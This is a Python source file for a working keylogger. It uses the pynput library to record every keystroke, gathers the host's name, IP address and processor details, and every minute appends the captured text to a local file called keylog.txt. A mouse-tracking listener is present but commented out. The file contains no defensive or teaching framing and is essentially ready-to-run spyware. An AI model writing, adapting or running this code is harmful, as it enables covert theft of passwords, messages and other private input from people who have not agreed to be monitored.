import platform
import socket
import threading
from pynput import keyboard, mouse
from pynput.keyboard import Key

def save_log_to_file(log):
    with open("keylog.txt", "a") as file:
        file.write(log + "\n")

class KeyLogger:
    def __init__(self):
        self.interval = 60
        self.line_chars  =0
        self.clear_flag = False
        self.log = "KeyLogger Started...\n"
        self.lock = threading.Lock()  # 线程锁

    def appendlog(self, string):
        with self.lock:  # 加锁保证线程安全
            self.log += string

    def on_click(self, x, y, button, pressed):
        action = "Pressed" if pressed else "Released"
        current_click = f"Mouse {action} at ({x}, {y}) with {button}"
        self.appendlog(current_click)

    def on_move(self, x, y):
        current_move = f"Mouse moved to ({x}, {y})"
        self.appendlog(current_move)

    def on_scroll(self, x, y, dx, dy):
        current_scroll = f"Mouse scrolled at ({x}, {y}) with delta ({dx}, {dy})"
        self.appendlog(current_scroll)

    def save_data(self, key):
        try:
            if hasattr(key, 'char'):
                current_key = key.char
            elif key == Key.space:
                current_key = " "
            elif key == Key.enter:
                current_key = "\n"
            elif key == Key.tab:
                current_key = "\t"
            else:
                current_key = f" [{key}] "
            self.appendlog(current_key)
            self.line_chars += len(current_key)
        except Exception as e:
            print(f"Error processing key: {e}")
        if  self.line_chars > 100  :
            self.log+="\n"
            self.line_chars = 0
            self.clear_flag = True

    def report(self):
        if self.log.strip():  # 避免保存空日志
            save_log_to_file(self.log)
        self.log = "KeyLogger Running...\n"  # 重置日志
        timer = threading.Timer(self.interval, self.report)
        timer.daemon = True  # 设置为守护线程
        timer.start()

    def system_information(self):
        hostname = socket.gethostname()
        ip = socket.gethostbyname(hostname)
        plat = platform.processor()
        system = platform.system()
        machine = platform.machine()
        info = f"\nSystem Info:\nHostname: {hostname}\nIP: {ip}\nProcessor: {plat}\nSystem: {system}\nMachine: {machine}\n"
        self.appendlog(info)

    def run(self):
        self.system_information()
        self.report()  # 启动定时报告

        # 启动键盘监听（非阻塞）
        keyboard_listener = keyboard.Listener(on_press=self.save_data)
        keyboard_listener.daemon = True
        keyboard_listener.start()

        # # 启动鼠标监听（非阻塞）
        # mouse_listener = mouse.Listener(
        #     on_click=self.on_click,
        #     on_move=self.on_move,
        #     on_scroll=self.on_scroll
        # )
        # mouse_listener.daemon = True
        # mouse_listener.start()

        try:
            while True:
                pass
        except KeyboardInterrupt:
            print("\nExiting...")
            save_log_to_file(self.log)

if __name__ == '__main__':
    keylogger = KeyLogger()
    keylogger.run()